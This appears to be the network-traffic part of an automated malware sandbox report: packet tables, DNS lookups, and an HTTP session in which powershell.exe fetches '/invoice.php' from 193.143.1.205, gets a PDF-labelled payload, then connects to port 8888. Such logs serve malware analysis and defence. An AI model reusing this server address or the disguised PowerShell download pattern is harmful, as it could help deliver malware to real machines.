Jan 11, 2025 09:14:15.741415977 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.742096901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742115021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742130995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742146015 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742161036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742177963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742211103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.742211103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.742235899 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.742578983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742595911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742665052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.742714882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742731094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742858887 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.742861986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742878914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.742996931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743108034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743124008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743138075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743154049 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743170023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743185997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743201017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743216038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743247986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743247986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743247986 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743272066 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743599892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743616104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743630886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743650913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743663073 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743666887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743681908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743697882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743712902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.743729115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743729115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.743762016 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.744082928 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.744098902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.744112968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.744128942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.744151115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.744178057 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.772798061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.772907972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.772933960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.772986889 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.773015976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773071051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773087025 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773111105 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.773132086 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.773202896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773219109 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773235083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773277044 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.773339033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.773401022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.793488979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793546915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793561935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793605089 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.793767929 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793783903 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793816090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793822050 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.793832064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793848991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.793946981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.793946981 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.794023991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794116974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794131994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794147968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794163942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794178963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794200897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794231892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.794231892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.794231892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.794537067 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794553041 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794675112 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.794687986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794703960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794718981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794734955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.794783115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.794783115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828164101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828202963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828218937 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828295946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828314066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828378916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828378916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828378916 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828392029 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828408957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828470945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828480959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828497887 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828516960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828556061 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828744888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828762054 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828780890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828798056 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828855991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828855991 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828870058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828883886 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828931093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.828982115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.828999043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829015017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829032898 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829049110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829065084 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829067945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829067945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829113960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829307079 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829324007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829349995 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829366922 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829370022 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829382896 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829397917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829401970 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829413891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829421043 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829458952 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829725981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829742908 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829761982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829777956 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829782009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829793930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829809904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829824924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.829839945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.829839945 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830024004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830040932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830058098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830075026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830156088 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830173016 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830176115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830176115 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830189943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830205917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830221891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830238104 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830254078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830259085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830259085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830259085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830270052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830306053 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.830308914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830327034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.830357075 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833200932 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833252907 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833262920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833281040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833410978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833417892 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833429098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833472013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833561897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833578110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833595037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833703995 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833717108 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833739996 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833758116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833774090 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833790064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833806992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.833856106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833856106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833856106 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.833991051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.834006071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:15.834229946 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:15.881078005 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.098529100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.098757982 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.175782919 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.180586100 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180608988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180696964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180711031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180768013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.180768013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.180840969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180887938 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180902004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180913925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.180968046 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.180968046 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.181042910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181056023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181077003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181087971 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181099892 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181113005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181126118 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181145906 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.181145906 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.181267023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.181462049 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181474924 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181487083 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181499004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181519985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.181519985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.181711912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181724072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.181829929 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.207937002 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.212783098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.212815046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.212841988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.212873936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.212903023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.212996960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213114023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213138103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213155031 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213171005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213181973 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.213219881 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.213391066 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213407040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213423014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213438988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213455915 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213471889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213502884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.213502884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.213502884 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.213922977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213938951 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213954926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213972092 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.213987112 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214004040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214019060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214019060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214019060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214035988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214040041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214052916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214066982 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214083910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214098930 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214116096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214159966 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214159966 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214159966 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214159966 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214837074 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214852095 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214867115 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214883089 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214900017 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.214900017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214915037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214931965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214946985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214962959 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214978933 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.214994907 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.215010881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:16.215040922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.215040922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.215040922 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.215089083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.215089083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.500161886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.518955946 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:16.759455919 CET	49707	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:17.455792904 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:17.460628033 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:17.460736036 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:17.460947990 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:17.465699911 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:18.313541889 CET	8888	49708	193.143.1.205	192.168.2.9
Jan 11, 2025 09:14:18.365680933 CET	49708	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:14:18.677921057 CET	49708	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:14:25.955442905 CET	49968	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:14:25.955442905 CET	192.168.2.9	1.1.1.1	0x1194	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:14:25.962435007 CET	1.1.1.1	192.168.2.9	0x1194	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:14:26.641952038 CET	1.1.1.1	192.168.2.9	0x46c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:14:26.641952038 CET	1.1.1.1	192.168.2.9	0x46c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	193.143.1.205	80	7604	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:14:14.361181974 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:14:15.145688057 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:14:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 